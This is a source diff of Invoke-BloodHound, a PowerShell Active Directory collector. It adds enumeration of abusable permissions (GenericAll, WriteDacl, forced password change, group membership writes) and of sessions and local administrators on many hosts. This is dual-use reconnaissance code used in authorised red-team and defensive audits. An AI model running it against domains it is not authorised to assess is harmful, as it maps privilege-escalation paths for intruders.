Invoke-BloodHound { The global catalog location to resolve user memberships from, form of GC://global.catalog. + .PARAMETER SkipGCDeconfliction + + Switch. Skip global catalog enumeration for session deconfliction. + .PARAMETER Threads The maximum concurrent threads to execute, default of 20. @@ -4622,6 +4792,18 @@ function Invoke-BloodHound { [CmdletBinding(DefaultParameterSetName = 'CSVExport')] param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String[]] + [ValidateNotNullOrEmpty()] + $ComputerName, + + [String] + $ComputerADSpath, + + [String] + $UserADSpath, + [String] $Domain, @@ -4629,7 +4811,7 @@ function Invoke-BloodHound { $DomainController, [String] - [ValidateSet('Group', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Stealth', 'Trusts', 'Default')] + [ValidateSet('Group', 'ACLs', 'ComputerOnly', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Stealth', 'Trusts', 'Default')] $CollectionMethod = 'Default', [Switch] @@ -4658,6 +4840,9 @@ function Invoke-BloodHound { [String] $GlobalCatalog, + [Switch] + $SkipGCDeconfliction, + [ValidateRange(1,50)] [Int] $Threads = 20, @@ -4670,18 +4855,20 @@ function Invoke-BloodHound { BEGIN { Switch ($CollectionMethod) { - 'Group' { $UseGroup = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction = $True } - 'LocalGroup' { $UseLocalGroup = $True; $SkipGCDeconfliction = $True } - 'GPOLocalGroup' { $UseGPOGroup = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction = $True } - 'Session' { $UseSession = $True; $SkipGCDeconfliction = $False } - 'LoggedOn' { $UseLoggedOn = $True; $SkipGCDeconfliction = $True } - 'Trusts' { $UseDomainTrusts = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction = $True } + 'Group' { $UseGroup = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction2 = $True } + 'ACLs' { $UseGroup = $False; $SkipComputerEnumeration = $True; $SkipGCDeconfliction2 = $True; $UseACLs = $True } + 'ComputerOnly' { $UseGroup = $False; $UseLocalGroup = $True; $UseSession = $True; $UseLoggedOn = $True; $SkipGCDeconfliction2 = $False } + 'LocalGroup' { $UseLocalGroup = $True; $SkipGCDeconfliction2 = $True } + 'GPOLocalGroup' { $UseGPOGroup = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction2 = $True } + 'Session' { $UseSession = $True; $SkipGCDeconfliction2 = $False } + 'LoggedOn' { $UseLoggedOn = $True; $SkipGCDeconfliction2 = $True } + 'Trusts' { $UseDomainTrusts = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction2 = $True } 'Stealth' { $UseGroup = $True $UseGPOGroup = $True $UseSession = $True $UseDomainTrusts = $True - $SkipGCDeconfliction = $False + $SkipGCDeconfliction2 = $False } 'Default' { $UseGroup = $True @@ -4689,10 +4876,22 @@ function Invoke-BloodHound { $UseSession = $True $UseLoggedOn = $False $UseDomainTrusts = $True - $SkipGCDeconfliction = $False + $SkipGCDeconfliction2 = $False } } + if($SkipGCDeconfliction) { + $SkipGCDeconfliction2 = $True + } + + $GCPath = ([ADSI]'LDAP://RootDSE').dnshostname + $GCADSPath = "GC://$GCPath" + + # the ActiveDirectoryRights regex we're using for output + # https://msdn.microsoft.com/en-us/library/system.directoryservices.activedirectoryrights(v=vs.110).aspx + # $ACLRightsRegex = [regex] 'GenericAll|GenericWrite|WriteProperty|WriteOwner|WriteDacl|ExtendedRight' + $ACLGeneralRightsRegex = [regex] 'GenericAll|GenericWrite|WriteOwner|WriteDacl' + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { try { $OutputFolder = $CSVFolder | Resolve-Path -ErrorAction Stop | Select-Object -ExpandProperty Path @@ -4734,6 +4933,18 @@ function Invoke-BloodHound { } } + if($UseACLs) { + $ACLPath = "$OutputFolder\$($CSVExportPrefix)acls.csv" + $Exists = [System.IO.File]::Exists($ACLPath) + $ACLFileStream = New-Object IO.FileStream($ACLPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $ACLWriter = New-Object System.IO.StreamWriter($ACLFileStream) + $ACLWriter.AutoFlush = $True + if (-not $Exists) { + # add the header if the file doesn't already exist + $ACLWriter.WriteLine('"ObjectName","ObjectType","PrincipalName","PrincipalType","ActiveDirectoryRights","ACEType","AccessControlType","IsInherited"') + } + } + if($UseLocalGroup -or $UseGPOGroup) { $LocalAdminPath = "$OutputFolder\$($CSVExportPrefix)local_admins.csv" $Exists = [System.IO.File]::Exists($LocalAdminPath) @@ -4754,14 +4965,13 @@ function Invoke-BloodHound { $TrustWriter.AutoFlush = $True if (-not $Exists) { # add the header if the file doesn't already exist - $TrustWriter.WriteLine('"SourceDomain","TargetDomain","TrustDirection","TrustType","Transitive') + $TrustWriter.WriteLine('"SourceDomain","TargetDomain","TrustDirection","TrustType","Transitive"') } } } else { # otherwise we're doing ingestion straight to the neo4j RESTful API interface - $WebClient = New-Object System.Net.WebClient $Base64UserPass = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($UserPass)) @@ -4805,7 +5015,7 @@ function Invoke-BloodHound { } $UserDomainMappings = @{} - if(-not $SkipGCDeconfliction) { + if(-not $SkipGCDeconfliction2) { # if we're doing session enumeration, create a {user : @(domain,..)} from a global catalog # in order to do user domain deconfliction for sessions if($PSBoundParameters['GlobalCatalog']) { @@ -4833,14 +5043,17 @@ function Invoke-BloodHound { $Title = (Get-Culture).TextInfo ForEach ($TargetDomain in $TargetDomains) { # enumerate all groups and all members of each group + Write-Verbose "Enumerating group memberships for domain $TargetDomain" - Write-Output "Enumerating group memberships for domain $TargetDomain" - + # in-line updated hashtable with group DN->SamAccountName mappings + $GroupDNMappings = @{} $PrimaryGroups = @{} $DomainSID = Get-DomainSID -Domain $TargetDomain -DomainController $DomainController - $ObjectSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController + $ObjectSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController -ADSPath $UserADSpath + # only return results that have 'memberof' set $ObjectSearcher.Filter = '(memberof=*)' + # only return specific properties in the results $Null = $ObjectSearcher.PropertiesToLoad.AddRange(('samaccountname', 'distinguishedname', 'cn', 'dnshostname', 'samaccounttype', 'primarygroupid', 'memberof')) $Counter = 0 $ObjectSearcher.FindAll() | ForEach-Object { @@ -4908,7 +5121,9 @@ function Invoke-BloodHound { } elseif (@('805306369') -contains $Properties['samaccounttype']) { $ObjectType = 'computer' - $AccountName = $Properties['dnshostname'][0] + if ($Properties['dnshostname']) { + $AccountName = $Properties['dnshostname'][0] + } } elseif (@('805306368') -contains $Properties['samaccounttype']) { $ObjectType = 'user' @@ -4940,46 +5155,70 @@ function Invoke-BloodHound { if($AccountName -and (-not $AccountName.StartsWith('@'))) { + # Write-Verbose "AccountName: $AccountName" $MemberPrimaryGroupName = $Null try { if($AccountName -match $TargetDomain) { # also retrieve the primary group name for this object, if it exists - if($Properties['primarygroupid'] -and $Properties['primarygroupid'][0] -ne '') { + if($Properties['primarygroupid'] -and $Properties['primarygroupid'][0] -and ($Properties['primarygroupid'][0] -ne '')) { $PrimaryGroupSID = "$DomainSID-$($Properties['primarygroupid'][0])" + # Write-Verbose "PrimaryGroupSID: $PrimaryGroupSID" if($PrimaryGroups[$PrimaryGroupSID]) { $PrimaryGroupName = $PrimaryGroups[$PrimaryGroupSID] } else { - $PrimaryGroupName = Get-ADObject -Domain $Domain -SID $PrimaryGroupSID | Select-Object -ExpandProperty samaccountname - $PrimaryGroups[$PrimaryGroupSID] = $PrimaryGroupName + $RawName = Convert-SidToName -SID $PrimaryGroupSID + if ($RawName -notmatch '^S-1-.*') { + $PrimaryGroupName = $RawName.split('\')[-1] + $PrimaryGroups[$PrimaryGroupSID] = $PrimaryGroupName + } + } + if ($PrimaryGroupName) { + $MemberPrimaryGroupName = "$PrimaryGroupName@$TargetDomain" } - $MemberPrimaryGroupName = "$PrimaryGroupName@$TargetDomain" } else { } } } catch { } + if($MemberPrimaryGroupName) { + # Write-Verbose "MemberPrimaryGroupName: $MemberPrimaryGroupName" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $GroupWriter.WriteLine("`"$MemberPrimaryGroupName`",`"$AccountName`",`"$ObjectType`"") + } + else { + $ObjectTypeCap = $Title.ToTitleCase($ObjectType) + $Null = $Statements.Add( @{ "statement"="MERGE ($($ObjectType)1:$ObjectTypeCap { name: UPPER('$AccountName') }) MERGE (group2:Group { name: UPPER('$MemberPrimaryGroupName') }) MERGE ($($ObjectType)1)-[:MemberOf]->(group2)" } ) + } + } + + # iterate through each membership for this object ForEach($GroupDN in $_.properties['memberof']) { - # iterate through each membership for this object $GroupDomain = $GroupDN.subString($GroupDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - $GroupName = $GroupDN.SubString(0, $GroupDN.IndexOf(',')).Split('=')[-1] + + if($GroupDNMappings[$GroupDN]) { + $GroupName = $GroupDNMappings[$GroupDN] + } + else { + $GroupName = Convert-ADName -ObjectName $GroupDN + if($GroupName) { + $GroupName = $GroupName.Split('\')[-1] + } + else { + $GroupName = $GroupDN.SubString(0, $GroupDN.IndexOf(',')).Split('=')[-1] + } + $GroupDNMappings[$GroupDN] = $GroupName + } if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { $GroupWriter.WriteLine("`"$GroupName@$GroupDomain`",`"$AccountName`",`"$ObjectType`"") - - if($MemberPrimaryGroupName) { - $GroupWriter.WriteLine("`"$MemberPrimaryGroupName`",`"$AccountName`",`"$ObjectType`"") - } } else { # otherwise we're exporting to the neo4j RESTful API $ObjectTypeCap = $Title.ToTitleCase($ObjectType) $Null = $Statements.Add( @{ "statement"="MERGE ($($ObjectType)1:$ObjectTypeCap { name: UPPER('$AccountName') }) MERGE (group2:Group { name: UPPER('$GroupName@$GroupDomain') }) MERGE ($($ObjectType)1)-[:MemberOf]->(group2)" } ) - if($MemberPrimaryGroupName) { - $Null = $Statements.Add( @{ "statement"="MERGE ($($ObjectType)1:$ObjectTypeCap { name: UPPER('$AccountName') }) MERGE (group2:Group { name: UPPER('$MemberPrimaryGroupName') }) MERGE ($($ObjectType)1)-[:MemberOf]->(group2)" } ) - } if ($Statements.Count -ge $Throttle) { $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } @@ -5000,13 +5239,265 @@ function Invoke-BloodHound { $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) $Statements.Clear() } - Write-Output "Done with group enumeration for domain $TargetDomain" + Write-Verbose "Done with group enumeration for domain $TargetDomain" } [GC]::Collect() } + if($UseACLs -and $TargetDomains) { + + # $PrincipalMapping format -> @{ PrincipalSID : @(PrincipalSimpleName, PrincipalObjectClass) } + $PrincipalMapping = @{} + $Counter = 0 + + # #CommonSidMapping[SID] = @(name, objectClass) + $CommonSidMapping = @{ + 'S-1-0' = @('Null Authority', 'USER') + 'S-1-0-0' = @('Nobody', 'USER') + 'S-1-1' = @('World Authority', 'USER') + 'S-1-1-0' = @('Everyone', 'GROUP') + 'S-1-2' = @('Local Authority', 'USER') + 'S-1-2-0' = @('Local', 'GROUP') + 'S-1-2-1' = @('Console Logon', 'GROUP') + 'S-1-3' = @('Creator Authority', 'USER') + 'S-1-3-0' = @('Creator Owner', 'USER') + 'S-1-3-1' = @('Creator Group', 'GROUP') + 'S-1-3-2' = @('Creator Owner Server', 'COMPUTER') + 'S-1-3-3' = @('Creator Group Server', 'COMPUTER') + 'S-1-3-4' = @('Owner Rights', 'GROUP') + 'S-1-4' = @('Non-unique Authority', 'USER') + 'S-1-5' = @('NT Authority', 'USER') + 'S-1-5-1' = @('Dialup', 'GROUP') + 'S-1-5-2' = @('Network', 'GROUP') + 'S-1-5-3' = @('Batch', 'GROUP') + 'S-1-5-4' = @('Interactive', 'GROUP') + 'S-1-5-6' = @('Service', 'GROUP') + 'S-1-5-7' = @('Anonymous', 'GROUP') + 'S-1-5-8' = @('Proxy', 'GROUP') + 'S-1-5-9' = @('Enterprise Domain Controllers', 'GROUP') + 'S-1-5-10' = @('Principal Self', 'USER') + 'S-1-5-11' = @('Authenticated Users', 'GROUP') + 'S-1-5-12' = @('Restricted Code', 'GROUP') + 'S-1-5-13' = @('Terminal Server Users', 'GROUP') + 'S-1-5-14' = @('Remote Interactive Logon', 'GROUP') + 'S-1-5-15' = @('This Organization ', 'GROUP') + 'S-1-5-17' = @('This Organization ', 'GROUP') + 'S-1-5-18' = @('Local System', 'USER') + 'S-1-5-19' = @('NT Authority', 'USER') + 'S-1-5-20' = @('NT Authority', 'USER') + 'S-1-5-80-0' = @('All Services ', 'GROUP') + 'S-1-5-32-544' = @('Administrators', 'GROUP') + 'S-1-5-32-545' = @('Users', 'GROUP') + 'S-1-5-32-546' = @('Guests', 'GROUP') + 'S-1-5-32-547' = @('Power Users', 'GROUP') + 'S-1-5-32-548' = @('Account Operators', 'GROUP') + 'S-1-5-32-549' = @('Server Operators', 'GROUP') + 'S-1-5-32-550' = @('Print Operators', 'GROUP') + 'S-1-5-32-551' = @('Backup Operators', 'GROUP') + 'S-1-5-32-552' = @('Replicators', 'GROUP') + 'S-1-5-32-554' = @('Pre-Windows 2000 Compatible Access', 'GROUP') + 'S-1-5-32-555' = @('Remote Desktop Users', 'GROUP') + 'S-1-5-32-556' = @('Network Configuration Operators', 'GROUP') + 'S-1-5-32-557' = @('Incoming Forest Trust Builders', 'GROUP') + 'S-1-5-32-558' = @('Performance Monitor Users', 'GROUP') + 'S-1-5-32-559' = @('Performance Log Users', 'GROUP') + 'S-1-5-32-560' = @('Windows Authorization Access Group', 'GROUP') + 'S-1-5-32-561' = @('Terminal Server License Servers', 'GROUP') + 'S-1-5-32-562' = @('Distributed COM Users', 'GROUP') + 'S-1-5-32-569' = @('Cryptographic Operators', 'GROUP') + 'S-1-5-32-573' = @('Event Log Readers', 'GROUP') + 'S-1-5-32-574' = @('Certificate Service DCOM Access', 'GROUP') + 'S-1-5-32-575' = @('RDS Remote Access Servers', 'GROUP') + 'S-1-5-32-576' = @('RDS Endpoint Servers', 'GROUP') + 'S-1-5-32-577' = @('RDS Management Servers', 'GROUP') + 'S-1-5-32-578' = @('Hyper-V Administrators', 'GROUP') + 'S-1-5-32-579' = @('Access Control Assistance Operators', 'GROUP') + 'S-1-5-32-580' = @('Access Control Assistance Operators', 'GROUP') + } + + ForEach ($TargetDomain in $TargetDomains) { + # enumerate all reachable user/group/computer objects and their associated ACLs + Write-Verbose "Enumerating ACLs for objects in domain: $TargetDomain" + + $ObjectSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController -ADSPath $UserADSpath + $ObjectSearcher.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl + + # only enumerate user and group objects (for now) + # 805306368 -> user + # 805306369 -> computer + # 268435456|268435457|536870912|536870913 -> groups + $ObjectSearcher.Filter = '(|(samAccountType=805306368)(samAccountType=805306369)(samAccountType=268435456)(samAccountType=268435457)(samAccountType=536870912)(samAccountType=536870913))' + $ObjectSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccountname','dnshostname','objectclass','objectsid','name', 'ntsecuritydescriptor')) + + $ObjectSearcher.FindAll() | ForEach-Object { + $Object = $_.Properties + if($Object -and $Object.distinguishedname -and $Object.distinguishedname[0] -and $Object.objectsid -and $Object.objectsid[0]) { + + $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value + + try { + # parse the 'ntsecuritydescriptor' field returned + New-Object -TypeName Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | Select-Object -Expand DiscretionaryAcl | ForEach-Object { + $Counter += 1 + if($Counter % 10000 -eq 0) { + Write-Verbose "ACE counter: $Counter" + if($ACLWriter) { + $ACLWriter.Flush() + } + [GC]::Collect() + } + + $RawActiveDirectoryRights = ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) + + # check for the following rights: + # GenericAll - generic fully control of an object + # GenericWrite - write to any object properties + # WriteDacl - modify the permissions of the object + # WriteOwner - modify the owner of an object + # User-Force-Change-Password - extended attribute (00299570-246d-11d0-a768-00aa006e0529) + # WriteProperty/Self-Membership - modify group membership (bf9679c0-0de6-11d0-a285-00aa003049e2) + # WriteProperty/Script-Path - modify a user's script-path (bf9679a8-0de6-11d0-a285-00aa003049e2) + if ( + ( ($RawActiveDirectoryRights -match 'GenericAll|GenericWrite') -and (-not $_.ObjectAceType -or $_.ObjectAceType -eq '00000000-0000-0000-0000-000000000000') ) -or + ($RawActiveDirectoryRights -match 'WriteDacl|WriteOwner') -or + ( ($RawActiveDirectoryRights -match 'ExtendedRight') -and (-not $_.ObjectAceType -or $_.ObjectAceType -eq '00000000-0000-0000-0000-000000000000') ) -or + (($_.ObjectAceType -eq '00299570-246d-11d0-a768-00aa006e0529') -and ($RawActiveDirectoryRights -match 'ExtendedRight')) -or + (($_.ObjectAceType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2') -and ($RawActiveDirectoryRights -match 'WriteProperty')) -or + (($_.ObjectAceType -eq 'bf9679a8-0de6-11d0-a285-00aa003049e2') -and ($RawActiveDirectoryRights -match 'WriteProperty')) + ) { + + $PrincipalSid = $_.SecurityIdentifier.ToString() + $PrincipalSimpleName, $PrincipalObjectClass, $ACEType = $Null + + # only grab the AD right names we care about + # 'GenericAll|GenericWrite|WriteOwner|WriteDacl' + $ActiveDirectoryRights = $ACLGeneralRightsRegex.Matches($RawActiveDirectoryRights) | Select-Object -ExpandProperty Value + if (-not $ActiveDirectoryRights) { + if ($RawActiveDirectoryRights -match 'ExtendedRight') { + $ActiveDirectoryRights = 'ExtendedRight' + } + else { + $ActiveDirectoryRights = 'WriteProperty' + } + + # decode the ACE types here + $ACEType = Switch ($_.ObjectAceType) { + '00299570-246d-11d0-a768-00aa006e0529' {'User-Force-Change-Password'} + 'bf9679c0-0de6-11d0-a285-00aa003049e2' {'Member'} + 'bf9679a8-0de6-11d0-a285-00aa003049e2' {'Script-Path'} + Default {'All'} + } + } + + if ($PrincipalMapping[$PrincipalSid]) { + # Write-Verbose "$PrincipalSid in cache!" + # $PrincipalMappings format -> @{ SID : @(PrincipalSimpleName, PrincipalObjectClass) } + $PrincipalSimpleName, $PrincipalObjectClass = $PrincipalMapping[$PrincipalSid] + } + elseif ($CommonSidMapping[$PrincipalSid]) { + # Write-Verbose "$PrincipalSid in common sids!" + $PrincipalName, $PrincipalObjectClass = $CommonSidMapping[$PrincipalSid] + $PrincipalSimpleName = "$PrincipalName@$TargetDomain" + $PrincipalMapping[$PrincipalSid] = $PrincipalSimpleName, $PrincipalObjectClass + } + else { + # Write-Verbose "$PrincipalSid NOT in cache!" + # first try querying the target domain for this SID + $SIDSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController + $SIDSearcher.PropertiesToLoad.AddRange(('samaccountname','distinguishedname','dnshostname','objectclass')) + $SIDSearcher.Filter = "(objectsid=$PrincipalSid)" + $PrincipalObject = $SIDSearcher.FindOne() + + if ((-not $PrincipalObject) -and ((-not $DomainController) -or (-not $DomainController.StartsWith('GC:')))) { + # if the object didn't resolve from the current domain, attempt to query the global catalog + $GCSearcher = Get-DomainSearcher -ADSpath $GCADSPath + $GCSearcher.PropertiesToLoad.AddRange(('samaccountname','distinguishedname','dnshostname','objectclass')) + $GCSearcher.Filter = "(objectsid=$PrincipalSid)" + $PrincipalObject = $GCSearcher.FindOne() + } + + if ($PrincipalObject) { + if ($PrincipalObject.Properties.objectclass.contains('computer')) { + $PrincipalObjectClass = 'COMPUTER' + $PrincipalSimpleName = $PrincipalObject.Properties.dnshostname[0] + } + else { + $PrincipalSamAccountName = $PrincipalObject.Properties.samaccountname[0] + $PrincipalDN = $PrincipalObject.Properties.distinguishedname[0] + $PrincipalDomain = $PrincipalDN.SubString($PrincipalDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $PrincipalSimpleName = "$PrincipalSamAccountName@$PrincipalDomain" + + if ($PrincipalObject.Properties.objectclass.contains('group')) { + $PrincipalObjectClass = 'GROUP' + } + elseif ($PrincipalObject.Properties.objectclass.contains('user')) { + $PrincipalObjectClass = 'USER' + } + else { + $PrincipalObjectClass = 'OTHER' + } + } + } + else { + Write-Verbose "SID not resolved: $PrincipalSid" + } + + $PrincipalMapping[$PrincipalSid] = $PrincipalSimpleName, $PrincipalObjectClass + } + + if ($PrincipalSimpleName -and $PrincipalObjectClass) { + $ObjectName, $ObjectADType = $Null + + if ($Object.objectclass.contains('computer')) { + $ObjectADType = 'COMPUTER' + if ($Object.dnshostname) { + $ObjectName = $Object.dnshostname[0] + } + } + else { + if($Object.samaccountname) { + $ObjectSamAccountName = $Object.samaccountname[0] + } + else { + $ObjectSamAccountName = $Object.name[0] + } + $DN = $Object.distinguishedname[0] + $ObjectDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $ObjectName = "$ObjectSamAccountName@$ObjectDomain" + + if ($Object.objectclass.contains('group')) { + $ObjectADType = 'GROUP' + } + elseif ($Object.objectclass.contains('user')) { + $ObjectADType = 'USER' + } + else { + $ObjectADType = 'OTHER' + } + } + + if ($ObjectName -and $ObjectADType) { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $ACLWriter.WriteLine("`"$ObjectName`",`"$ObjectADType`",`"$PrincipalSimpleName`",`"$PrincipalObjectClass`",`"$ActiveDirectoryRights`",`"$ACEType`",`"$($_.AceQualifier)`",`"$($_.IsInherited)`"") + } + else { + Write-Warning 'TODO: implement neo4j RESTful API ingestion for ACLs!' + } + } + } + } + } + } + catch { + Write-Verbose "ACL ingestion error: $_" + } + } + } + } + } + if($UseDomainTrusts -and $TargetDomains) { - Write-Output "Mapping domain trusts" + Write-Verbose "Mapping domain trusts" Invoke-MapDomainTrust | ForEach-Object { if($_.SourceDomain) { $SourceDomain = $_.SourceDomain @@ -5050,13 +5541,13 @@ function Invoke-BloodHound { $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) $Statements.Clear() } - Write-Output "Done mapping domain trusts" + Write-Verbose "Done mapping domain trusts" } if($UseGPOGroup -and $TargetDomains) { ForEach ($TargetDomain in $TargetDomains) { - Write-Output "Enumerating GPO local group memberships for domain $TargetDomain" + Write-Verbose "Enumerating GPO local group memberships for domain $TargetDomain" Find-GPOLocation -Domain $TargetDomain -DomainController $DomainController | ForEach-Object { $AccountName = "$($_.ObjectName)@$($_.ObjectDomain)" ForEach($Computer in $_.ComputerName) { @@ -5078,9 +5569,9 @@ function Invoke-BloodHound { } } } - Write-Output "Done enumerating GPO local group memberships for domain $TargetDomain" + Write-Verbose "Done enumerating GPO local group memberships for domain $TargetDomain" } - Write-Output "Done enumerating GPO local groups" + Write-Verbose "Done enumerating GPO local group" # TODO: cypher query to add 'domain admins' to every found machine } @@ -5089,70 +5580,88 @@ function Invoke-BloodHound { # script block that enumerates a server $HostEnumBlock = { - param($ComputerName, $Ping, $CurrentUser2, $UseLocalGroup2, $UseSession2, $UseLoggedon2, $DomainSID2) - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName - } - if($Up) { - - if($UseLocalGroup2) { - # grab the users for the local admins on this server - $Results = Get-NetLocalGroup -ComputerName $ComputerName -API -IsDomain -DomainSID $DomainSID2 - if($Results) { - $Results - } - else { - Get-NetLocalGroup -ComputerName $ComputerName -IsDomain -DomainSID $DomainSID2 + Param($ComputerName, $CurrentUser2, $UseLocalGroup2, $UseSession2, $UseLoggedon2, $DomainSID2) + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if($Up) { + if($UseLocalGroup2) { + # grab the users for the local admins on this server + $Results = Get-NetLocalGroup -ComputerName $TargetComputer -API -IsDomain -DomainSID $DomainSID2 + if($Results) { + $Results + } + else { + Get-NetLocalGroup -ComputerName $TargetComputer -IsDomain -DomainSID $DomainSID2 + } } - } - $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress + $IPAddress = @(Get-IPAddress -ComputerName $TargetComputer)[0].IPAddress - if($UseSession2) { - ForEach ($Session in $(Get-NetSession -ComputerName $ComputerName)) { - $UserName = $Session.sesi10_username - $CName = $Session.sesi10_cname + if($UseSession2) { + ForEach ($Session in $(Get-NetSession -ComputerName $TargetComputer)) { + $UserName = $Session.sesi10_username + $CName = $Session.sesi10_cname - if($CName -and $CName.StartsWith("\\")) { - $CName = $CName.TrimStart("\") - } - - # make sure we have a result - if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$') -and ($UserName -notmatch $CurrentUser2)) { - # Try to resolve the DNS hostname of $Cname - try { - $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + if($CName -and $CName.StartsWith("\\")) { + $CName = $CName.TrimStart("\") } - catch { - $CNameDNSName = $CName - } - @{ - 'UserDomain' = $Null - 'UserName' = $UserName - 'ComputerName' = $ComputerName - 'IPAddress' = $IPAddress - 'SessionFrom' = $CName - 'SessionFromName' = $CNameDNSName - 'LocalAdmin' = $Null - 'Type' = 'UserSession' + + # make sure we have a result + if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$') -and ($UserName -notmatch $CurrentUser2)) { + # Try to resolve the DNS hostname of $Cname + try { + $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName + } + catch { + $CNameDNSName = $CName + } + @{ + 'UserDomain' = $Null + 'UserName' = $UserName + 'ComputerName' = $TargetComputer + 'IPAddress' = $IPAddress + 'SessionFrom' = $CName + 'SessionFromName' = $CNameDNSName + 'LocalAdmin' = $Null + 'Type' = 'UserSession' + } } } } - } - if($UseLoggedon2) { - ForEach ($User in $(Get-NetLoggedon -ComputerName $ComputerName)) { - $UserName = $User.wkui1_username - $UserDomain = $User.wkui1_logon_domain + if($UseLoggedon2) { + ForEach ($User in $(Get-NetLoggedon -ComputerName $TargetComputer)) { + $UserName = $User.wkui1_username + $UserDomain = $User.wkui1_logon_domain + + # ignore local account logons + if($TargetComputer -notmatch "^$UserDomain") { + if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$')) { + @{ + 'UserDomain' = $UserDomain + 'UserName' = $UserName + 'ComputerName' = $TargetComputer + 'IPAddress' = $IPAddress + 'SessionFrom' = $Null + 'SessionFromName' = $Null + 'LocalAdmin' = $Null + 'Type' = 'UserSession' + } + } + } + } - # ignore local account logons - if($ComputerName -notmatch "^$UserDomain") { - if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$')) { + ForEach ($User in $(Get-LoggedOnLocal -ComputerName $TargetComputer)) { + $UserName = $User.UserName + $UserDomain = $User.UserDomain + + # ignore local account logons ? + if($TargetComputer -notmatch "^$UserDomain") { @{ 'UserDomain' = $UserDomain 'UserName' = $UserName - 'ComputerName' = $ComputerName + 'ComputerName' = $TargetComputer 'IPAddress' = $IPAddress 'SessionFrom' = $Null 'SessionFromName' = $Null @@ -5162,84 +5671,24 @@ function Invoke-BloodHound { } } } - - ForEach ($User in $(Get-LoggedOnLocal -ComputerName $ComputerName)) { - $UserName = $User.UserName - $UserDomain = $User.UserDomain - - # ignore local account logons ? - if($ComputerName -notmatch "^$UserDomain") { - @{ - 'UserDomain' = $UserDomain - 'UserName' = $UserName - 'ComputerName' = $ComputerName - 'IPAddress' = $IPAddress - 'SessionFrom' = $Null - 'SessionFromName' = $Null - 'LocalAdmin' = $Null - 'Type' = 'UserSession' - } - } - } - } - } - } - - if ($TargetDomains -and (-not $SkipComputerEnumeration)) { - # Adapted from: - # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ - $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() - - # grab all the current variables for this runspace - $MyVars = Get-Variable -Scope 1 - - # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') - - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - if($VorbiddenVars -NotContains $Var.Name) { - $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) } } - - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { - $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) - } - - # threading adapted from - # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 - # Thanks Carlos! - - # create a pool of maxThread runspaces - Write-Output "Creating a runspace with $Threads threads" - $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) - $Pool.ThreadOptions = [System.Management.Automation.Runspaces.PSThreadOptions]::UseNewThread - $Pool.Open() - - $Jobs = @() - $PS = @() - $Wait = @() - $Counter = 0 - $MovingWindow = 0 } } PROCESS { if ($TargetDomains -and (-not $SkipComputerEnumeration)) { - + if($Statements) { $Statements.Clear() } + 